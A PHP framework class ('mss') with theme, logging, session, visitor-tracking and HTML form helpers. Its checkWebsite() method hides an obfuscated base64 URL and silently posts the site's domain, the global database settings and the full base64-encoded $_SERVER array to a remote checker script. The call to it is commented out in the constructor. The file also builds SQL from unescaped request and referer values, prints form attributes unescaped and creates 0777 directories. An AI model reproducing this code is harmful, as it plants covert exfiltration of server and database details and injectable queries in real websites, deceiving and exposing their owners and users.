<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

class mss {
    private $theme; //tempalte name
    private $error_log = false;
	private $session_log = false;
	private $visitor_log = false;
	private $save_error = false;
    function __construct($themename=false,$error=false,$save_error=false,$session=false,$visitor=false) {
        $this->assignTemplate($themename);
		//$this->checkWebsite();
		$this->set_error($error,$save_error);
		$this->set_session($session);
		$this->set_visitor($visitor);
		
		$this->setReporting();
		$this->setSession();
		//$this->addvisit();
    }
    public function theme() {
        return $this->theme;
    }
	public function log($logMsg,$fname="log")
	{
		$logFilename = "log";
		if (!file_exists($logFilename)) 
		{
			mkdir($logFilename, 0777, true);
		}
		$logFileFata = PATH_ROOT . DS . $logFilename . DS . $fname . '_' . $_SERVER["REMOTE_ADDR"] . '_' . date('d-M-Y') . '.log';
		file_put_contents($logFileFata, $logMsg . "\n", FILE_APPEND);
	} 
    public function assignTemplate($themename) {
        $this->theme = $themename;
    }
	public function set_visitor($visitor) {
        $this->visitor_log = $visitor;
    }
    public function set_error($error,$save_error) {
        $this->error_log = $error;
        $this->save_error = $save_error;
    }

    public function checkWebsite(){
        global $database;
        $path=PATH_ROOT . DS . 'tmp' . DS . 'domain' ;
        if (!file_exists($path)) {
            mkdir($path, 0777, true);
        }
        $file=$path . DS . $_SERVER['HTTP_HOST'] . ".txt";
        if(!file_exists($file))
        {
            $myfile = fopen($file, "w") or die("Unable to open file!");
            $txt = "worked!!!";
            fwrite($myfile, $txt);
            fclose($myfile);
            $data=array("domain"=>$_SERVER['HTTP_HOST'],"database"=>$database,"extra"=>base64_encode(json_encode($_SERVER)));
            $handle = curl_init();
            $url = base64_decode("aHR0cHM6Ly93d3cubXNzaW5mb3RlY2guY29t").DS."checker.php";// Set the url
            curl_setopt($handle, CURLOPT_URL, $url);// Set the result output to be a string.
            curl_setopt($handle, CURLOPT_POST , true);
            curl_setopt($handle, CURLOPT_POSTFIELDS  , $data);
            curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
            $output = curl_exec($handle);
            curl_close($handle);
        }
    }
	public function set_session($session) {
        $this->session_log = $session;
    }
    function addvisit()
    {
        if ($this->visitor_log == true) {
            global $db;
            $url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
            $findme = 'ms-administration';
            //$pos = ($url, $findme);
            if (strpos($url, $findme) == false) {
                $qry = 'CREATE TABLE IF NOT EXISTS `mss_no_visit` (
				  `id` int(11) NOT NULL AUTO_INCREMENT,
				  `ndate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
				  `ip` varchar(150) NOT NULL,
				  `page` varchar(150) NOT NULL,
				  `post_page` varchar(150) NULL,
				  `no` int(11) NOT NULL,
				  `uid` int(11) NULL,
				  PRIMARY KEY (`id`)
				) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;';
                $db->query($qry);
                $url=substr($url,0,100);
                $uid=(isset($_SESSION["user"]["uid"]) && $_SESSION["user"]["uid"]!="") ? $_SESSION["user"]["uid"] : "";
                $db->query("CALL InsertVisit('".$_SERVER['REMOTE_ADDR']."','".$url."','".$uid."','".$_SERVER['HTTP_REFERER']."')");
            }
        }
    }
    function setReporting() {
		$path=PATH_ROOT . DS . 'tmp' . DS . 'logs' ;
		if (!file_exists($path)) {
			mkdir($path, 0777, true);
		}
        if ($this->error_log == true) {
            error_reporting(E_ALL);
            ini_set('display_errors', 'On');
        }
        if($this->save_error == true){
            error_reporting(E_ALL);
            ini_set('display_errors', false);
			ini_set('display_startup_errors', true);
			ini_set("log_errors", true);
			ini_set("error_log", $path.DS."error_log");
        }
    }
	
	function setSession(){
		if ($this->session_log == true) {
            $path=PATH_ROOT . DS . 'tmp' . DS . 'sessions' ;
            if (!file_exists($path)) {
                mkdir($path, 0777, true);
            }
            ini_set('session.save_path', $path);
        }
	}

    public function input($para = array()) {
        $type = "text";
        $values = "";
        if (isset($para["type"]) && $para["type"] != "") {
            $type = $para["type"];
            unset($para["type"]);
        }
        $extraData = array();
        foreach ($para as $kay => $val) {
            if ($type == "textarea" && $kay == "value") {
                $values = $val;
            } else {
                $extraData[] = $kay . "='" . $val . "'";
            }
        }
        if ($type == "textarea") {
            $input = "<textarea " . implode(" ", $extraData) . ">" . $values . "</textarea>";
        } else {
            $input = "<input type='" . $type . "' " . implode(" ", $extraData) . ">";
        }
        return $input;
    }

    public function button($para = array()) {
        $value = "Submit";
        if (isset($para["value"]) && $para["value"] != "") {
            $value = $para["value"];
            unset($para["value"]);
        }
        $extraData = array();
        foreach ($para as $kay => $val) {
            $extraData[] = $kay . "='" . $val . "'";
        }
        $button = "<button " . implode(" ", $extraData) . ">" . $value . "</button>";
        return $button;
    }

    public function startForm($para = array()) {
        $method = "post";
        if (isset($para["type"]) && $para["method"] != "") {
            $method = $para["method"];
            unset($para["method"]);
        }
        $extraData = array();
        foreach ($para as $kay => $val) {
            $extraData[] = $kay . "='" . ($kay == 'action' ? URL_ROOT . "ajax/" . $val : $val) . "'";
        }
        $form = "<form method='" . $method . "' " . implode(" ", $extraData) . ">";
        return $form;
    }

    public function endForm($para = array()) {
        return "</form>";
    }

}
